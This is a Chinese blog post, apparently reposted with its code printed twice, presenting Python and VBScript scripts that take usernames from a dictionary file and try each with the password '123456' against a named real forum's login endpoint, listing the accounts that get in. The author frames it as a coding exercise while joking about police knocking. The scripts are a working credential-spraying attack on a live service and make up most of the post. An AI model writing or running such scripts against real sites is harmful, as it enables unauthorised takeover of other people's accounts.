Python牛刀小試密碼爆破
更新時間:2011年02月03日 15:26:59 作者:
用Python與vbs分別實現(xiàn)的爆破bbs論壇賬號的代碼,學(xué)習(xí)python或vbs的朋友可以參考下。
難道真的要我破解一個么?算了,正好試試我的Python水平。
python版
#coding: gbk
import httplib, urllib
def Check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"Content-type":
"application/x-www-form-urlencoded"}
conn = httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密碼不正確") != -1:
return False
elif res.find("不存在這個用戶") != -1:
return False
else:
return True
for i in open("English.Dic"):
if Check(i.rstrip(),"123456"):
print i
順便也寫了個VBS版的,感覺貌似VBS比較快,感覺出問題了?
Dim fso
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile("English.Dic",1)
Do Until .AtEndOfStream
id = .ReadLine
If Check(id,"123456") Then
WScript.Echo id & vbTab &"OK"
End If
Loop
End With
Function Check(username,password)
Dim http
Set http = CreateObject("Msxml2.XMLHTTP")
http.open _
"POST","https://www.bdwm.net/bbs/bbslog2.php",False
http.setRequestHeader _
"Content-Type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = AnsiToUnicode(http.responseBody)
If InStr(response,"密碼不正確") Then
Check = False
ElseIf InStr(response,"不存在這個用戶") Then
Check = False
Else
Check = True
End If
End Function
Function AnsiToUnicode(str)
Dim ado
Set ado = CreateObject("adodb.stream")
ado.Type = 1
ado.Open
ado.Write str
ado.Position = 0
ado.Type = 2
ado.Charset = "gb2312"
AnsiToUnicode = ado.ReadText
End Function
事實證明,123456真是一個無敵的密碼。但愿晚上沒有警察叔叔敲門。
原文:http://demon.tw/programming/python-a-little-trial.html
python版
復(fù)制代碼 代碼如下:
#coding: gbk
import httplib, urllib
def Check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"Content-type":
"application/x-www-form-urlencoded"}
conn = httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密碼不正確") != -1:
return False
elif res.find("不存在這個用戶") != -1:
return False
else:
return True
for i in open("English.Dic"):
if Check(i.rstrip(),"123456"):
print i
順便也寫了個VBS版的,感覺貌似VBS比較快,感覺出問題了?
復(fù)制代碼 代碼如下:
Dim fso
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile("English.Dic",1)
Do Until .AtEndOfStream
id = .ReadLine
If Check(id,"123456") Then
WScript.Echo id & vbTab &"OK"
End If
Loop
End With
Function Check(username,password)
Dim http
Set http = CreateObject("Msxml2.XMLHTTP")
http.open _
"POST","https://www.bdwm.net/bbs/bbslog2.php",False
http.setRequestHeader _
"Content-Type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = AnsiToUnicode(http.responseBody)
If InStr(response,"密碼不正確") Then
Check = False
ElseIf InStr(response,"不存在這個用戶") Then
Check = False
Else
Check = True
End If
End Function
Function AnsiToUnicode(str)
Dim ado
Set ado = CreateObject("adodb.stream")
ado.Type = 1
ado.Open
ado.Write str
ado.Position = 0
ado.Type = 2
ado.Charset = "gb2312"
AnsiToUnicode = ado.ReadText
End Function
事實證明,123456真是一個無敵的密碼。但愿晚上沒有警察叔叔敲門。
原文:http://demon.tw/programming/python-a-little-trial.html
相關(guān)文章
python判斷所輸入的任意一個正整數(shù)是否為素數(shù)的兩種方法
今天小編就為大家分享一篇python判斷所輸入的任意一個正整數(shù)是否為素數(shù)的兩種方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-06-06對Python模塊導(dǎo)入時全局變量__all__的作用詳解
今天小編就為大家分享一篇對Python模塊導(dǎo)入時全局變量__all__的作用詳解,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-01-01Python 中使用 Selenium 單擊網(wǎng)頁按鈕功能
Selenium是一個用于測試網(wǎng)站的自動化測試工具,支持各種瀏覽器包括Chrome、Firefox、Safari等主流界面瀏覽器,同時也支持phantomJS無界面瀏覽器,本篇文章將介紹如何在 Python 中使用 selenium 單擊網(wǎng)頁上的按鈕,感興趣的朋友一起看看吧2023-11-11成功解決ValueError:?Supported?target?types?are:('binary
本文給大家分享成功解決ValueError:?Supported?target?types?are:('binary',?'multiclass').?Got?'continuous'?instead.的錯誤問題,需要的朋友可以參考下2023-03-03Django?ORM?事務(wù)和查詢優(yōu)化的操作方法
這篇文章主要介紹了Django?ORM?事務(wù)和查詢優(yōu)化,包括事務(wù)操作、ORM 惰性查詢及only與defer相關(guān)知識,本文通過實例代碼給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2022-09-09Python編程實現(xiàn)二分法和牛頓迭代法求平方根代碼
這篇文章主要介紹了Python編程實現(xiàn)二分法和牛頓迭代法求平方根代碼,具有一定參考價值,需要的朋友可以了解下。2017-12-12